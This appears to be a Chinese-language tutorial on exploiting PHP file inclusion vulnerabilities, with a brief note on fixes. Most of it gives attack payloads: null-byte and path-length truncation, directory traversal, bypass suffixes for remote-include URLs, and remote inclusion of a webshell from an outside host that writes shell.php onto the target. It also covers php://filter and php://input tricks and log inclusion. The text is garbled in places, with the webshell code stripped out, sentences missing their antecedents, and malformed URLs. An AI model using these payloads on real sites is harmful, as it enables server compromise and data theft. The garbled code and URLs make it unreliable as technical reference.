大多数Web语言都可以使用文件包含操作,其中PHP语言所提供的文件包含功能太强大、太灵活,所以包含漏洞经常出现在PHP语言中。
PHP中提供了四个文件包含的函数,分别是include()、include_once()、 require()和require_ once()。这四个函数都可以进行文件包含,但作用却不一样,其区别如下:
●require 找不到被包含的文件时会产生致命错误(E COMPILE ERROR),并停止脚本;
●include 找不到被包含的文件时只会产生警告(E _WARNING),脚本将继续执行:
●include_ once:此语句和include()语句类似,唯区别是 如果该文件中的代码已经被包含,则不会再次包含;
●require _once: 此行语句和require()语句类似, 唯一 区别是如果该文件中的代码已经被包含,则不会再次包含。
当使用这4个函数包含一个新的文件时,该文件将作为PHP代码执行,PHP内核并不会在意该被包含的文件是什么类型。所以如果被包含的是txt文件、图片文件、远程URL,也都将作为PHP代码执行。这一特性,在实施攻击时将非常有用。
则可以利用http://xxx.com/test=C:/WWWRooot/phpinfo.php访问本地的任意文件。
当然本地文件包含通常要结合截断攻击和任意目录游览攻击。
截断攻击:
当PHP版本小于5.3.4时,可以使用%00阶段后面的字符串,如test=C:/WWWRooot/phpinfo.php%00
PHP语言需要使用底层的C语言进行处理,C语言中的字符串结尾有个’/0’字符,作为阶段用。
还可以使用目录截断,操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。目录字符串,在Windows下256字节、Linux 下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。如何构造出
./././././././././././././abc
或者
/////////////////abc
或者
. ./1/abc/../1/abc/../1/abc
目录遍历:
使用了././这样的方式来返回到上层目录中,这种方式又被称为“目录遍历”(Path Traversal)。常见的目录遍历漏洞,还可以通过不同的编码方式来实现:
在Windows下多个目录应当用分号隔开,在Linux下则用冒号隔开。
修复方式:
要解决文件包含漏洞,应该尽量避免包含动态的变量,尤其是用户可以控制的变量。一种变通方式,则是使用switch枚举。
allow_url_fopen = On
,该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。
allow_url_include:On,该选项为on便是允许 包含URL 对象文件等。
两个配置选项均需要为On,才能远程包含文件成功。
include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞(Remote File Inclusion,简称RFI)。
则可以利用http://xxx.com/test=http://hack:80/write.txt访问远程的任意文件。
绕过姿势
问号绕过:http://xxx.com/test=http://hack:80/write.txt?
#号绕过:http://xxx.com/test=http://hack:80/write.txt%23
空格:http://xxx.com/test=http://hack:80/write.txt%20
BUff跑
1)读取敏感文件
2)远程包含shell
如果目标主机allow_ _url fopen 选项是激活的,就可以尝试远程包含一句话木马,如:http://www.2cto.com/echo.txt,代码如下:
fputs (fopen ("shell.php", "w"),
"") ?>
访问:
htp://www.xxser.com/Index.php?page-ttp://www.2cto.com/echo.txt,将会在Index.php所在的目录下生成shell.php,内容为:
3)本地包含配合文件上传
4)使用PHP封装协议
PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。
读取
page=php://filter/read=convert.base64-encode/resource config.php
写入
在allow_url_include;为On时才可以使用, 构造URL:
http://www.xxser.com/index.php?page= php://input,并且POST方式提交数据为: 。
5)包含日志
Metasploit中包含了一个脚本自动化完成包含日志文件的攻击。